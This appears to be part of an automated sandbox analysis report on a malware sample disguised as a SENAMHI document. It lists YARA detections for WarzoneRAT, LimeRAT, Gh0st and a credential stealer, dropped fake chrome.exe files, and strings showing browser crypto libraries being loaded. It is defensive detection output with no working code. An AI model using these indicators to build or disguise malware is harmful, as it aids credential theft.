                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 19.2.chrome.exe.a20000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 19.0.chrome.exe.a20000.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117c130.5.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 18.3.chrome.exe.3e7cd10.0.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 19.0.chrome.exe.a20000.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 18.3.chrome.exe.3e7cd10.0.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118e030.0.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 15.0.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.3.DocumentoSENAMHI20222103.exe.117a8c0.4.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 19.0.chrome.exe.a20000.3.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2ff89af.3.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2ff89af.3.raw.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 18.3.chrome.exe.3e8812f.1.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_2 date = 2016-01-30, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.2.DocumentoSENAMHI20222103.exe.2fe053f.4.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 15.2.wtqsCpda..exe.2b22c9c.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 15.2.wtqsCpda..exe.540000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: 18.2.chrome.exe.53f0000.7.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 18.3.chrome.exe.3e81c45.2.raw.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 18.2.chrome.exe.53d0000.1.unpack, type: UNPACKEDPEMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: AveMaria_WarZone Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                      Source: 1.3.DocumentoSENAMHI20222103.exe.118f8a0.3.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_WarzoneRAT author = ditekSHen, description = Detects AveMaria/WarzoneRAT
                      Source: 00000001.00000002.83505519609.0000000002FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 00000001.00000003.79799775147.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 00000001.00000002.83503482474.00000000014EF000.00000002.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 00000001.00000003.79809451868.000000000118E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 00000012.00000002.83513493821.00000000053D0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: 00000001.00000003.79799132484.000000000117E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 00000001.00000003.79810306933.000000000117A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Codoso_Gh0st_1 date = 2016-01-30, hash3 = d7004910a87c90ade7e5ff6169f2b866ece667d2feebed6f0ec856fb838d2297, hash2 = 7dc7cec2c3f7e56499175691f64060ebd955813002d4db780e68a8f6e7d0a8f8, author = Florian Roth, description = Detects Codoso APT Gh0st Malware, reference = https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, super_rule = 5402c785037614d09ad41e41e11093635455b53afd55aa054a09a84274725841
                      Source: 00000012.00000002.83513636630.00000000053F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: HKTL_NET_GUID_Lime_RAT date = 2020-12-30, author = Arnim Rupp, description = Detects VB.NET red/black-team tools via typelibguid, reference = https://github.com/NYAN-x-CAT/Lime-RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
                      Source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPEDMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\Chrome[1].exe, type: DROPPEDMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: C:\Users\user\AppData\Roaming\wtqsCpda..exe, type: DROPPEDMatched rule: MALWARE_Win_LimeRAT author = ditekSHen, description = LimeRAT payload
                      Source: C:\Users\user\Desktop\DocumentoSENAMHI20222103.exeCode function: String function: 00BD4730 appears 34 times
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81063438774.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81070018910.0000000005E26000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80844565838.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81035851437.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80842292045.0000000005E19000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81070163110.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80749812105.000000000643B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81069901900.0000000005E19000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83512915307.0000000005613000.00000040.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenameuser32j% vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80763490133.00000000064A3000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80770255250.0000000005E59000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81037127774.0000000005E0A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamenss3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80754738208.000000000644A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80845816715.0000000005E59000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83509823788.000000000515F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameuser32j% vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80751294134.0000000005E59000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.81073154674.0000000005E59000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamevcruntime140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83518836187.0000000006410000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80747033580.0000000006411000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83508026711.00000000047E2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMultiRead.EXEB vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83515571343.0000000005E6F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80768466561.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80747271781.000000000643B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80766226813.0000000005E58000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamefreebl3.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000003.80875623841.0000000005EF0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemsvcp140.dll^ vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamemozglue.dll8 vs DocumentoSENAMHI20222103.exe
                      Source: DocumentoSENAMHI20222103.exe, 00000001.00000002.83515005180.0000000005E05000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamesoftokn3.dll8 vs DocumentoSENAMHI20222103.exe
